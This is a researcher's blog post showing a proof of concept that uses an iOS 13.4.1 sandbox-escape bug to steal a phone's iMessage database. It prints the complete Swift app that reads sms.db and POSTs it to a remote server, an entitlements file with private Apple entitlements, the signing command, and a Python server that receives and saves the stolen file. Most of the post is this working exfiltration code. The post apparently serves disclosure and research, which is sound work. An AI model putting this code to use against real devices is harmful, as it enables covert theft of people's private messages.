Stealing your SMS messages with iOS 0day

  • Home
  • blog
  • Stealing your SMS messages with iOS 0day

This is a special post because I fully based on another researcher, s1guza’s 0day. All of this story began from the following tweet:

0day tweet

Siguza told us that his 0day was patched in the iOS 13.5 beta3. So this is actually a sandbox escape 0day for the newest, non-beta iOS version (13.4.1). In this post, I’ll show you how I reproduced that bug and wrote a malicious application that uses that 0day to steal the iMessage history! 😱

I won’t explain this bug in detail, as S1guza plans to make an article about it. I’ll update this post when he does. UPDATE: https://siguza.github.io/psychicpaper/

The plan

  1. Create an application that loads the sms.db file and sends to our server
  2. Sign the application with malicious entitlements (with the 0day)
  3. Install the app on the device
  4. Turn on the receiving server
  5. Open the database!

Exploitation

I created a simple Swift app that contains the following code:

import SwiftUI

struct ContentView: View {
    
    @State var serverURLString: String = ""
    
    var body: some View {
        
        VStack() {
            Text("""
                iMessage DB stealing PoCn
                based on @s1guza's tweetn
                coded by @_r3ggi
                """).multilineTextAlignment(.center)
        
            TextField("Server URL", text: $serverURLString).padding(.all, 40).textFieldStyle(RoundedBorderTextFieldStyle())
            
            Button(action: {
                sendPostData(serverURLString: self.serverURLString)
            }) {
                Text("Send your sms.db!")
            }
        }
    }
}


func sendPostData(serverURLString: String) {
    let messagesPath = "/private/var/mobile/Library/SMS/sms.db"
    let messagesURL = URL(fileURLWithPath: messagesPath)
    let serverURL = URL(string: serverURLString)
    var request = URLRequest(url: serverURL!)
    request.httpMethod = "POST"
    
    do {
        if FileManager.init().isReadableFile(atPath: messagesPath) {
            let rawMessagesDB = try Data(contentsOf: messagesURL)
            request.httpBody = rawMessagesDB
        } else {
            request.httpBody = "Nope".data(using: .utf8)
        }
    } catch {}
    
    let task = URLSession.shared.dataTask(with: request) { (data, response, error) in
            if let error = error {
                print("Error took place (error)")
                return
            }
    }
    task.resume()
}

Then I compiled the app and created the following entitlements file:



 version="1.0">

    application-identifier
    [redacted].blog.wojciechregula.SandboxEscape

platform-application

com.apple.private.security.no-container

com.apple.private.security.storage.Messages



I signed the compiled app:

codesign -d --entitlements entitlements.xml SandboxEscape.app -f -s "Apple Development: wojciechregula.blog [redacted]"

Next stage was to install the application on the device:

0day tweet

After that, I opened my Python server:

from http.server import HTTPServer, BaseHTTPRequestHandler

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'Hello, world!')

    def do_POST(self):
        print("RECEIVING!!!")
        content_length = int(self.headers['Content-Length'])
        body = self.rfile.read(content_length)
        with open("./sms.db", "wb") as f:
            f.write(body)


httpd = HTTPServer(('192.168.0.14', 8888), SimpleHTTPRequestHandler)
httpd.serve_forever()

I opened the application:

0day tweet

Then, I provided my server’s URL, clicked the button and… 🤯! All my messages from my iPhone with the newest non-beta iOS were sent to the server:

0day tweet

What can I do?

Wait for the iOS 13.5. Do not install any suspicious apps before Apple releases the update!

Read More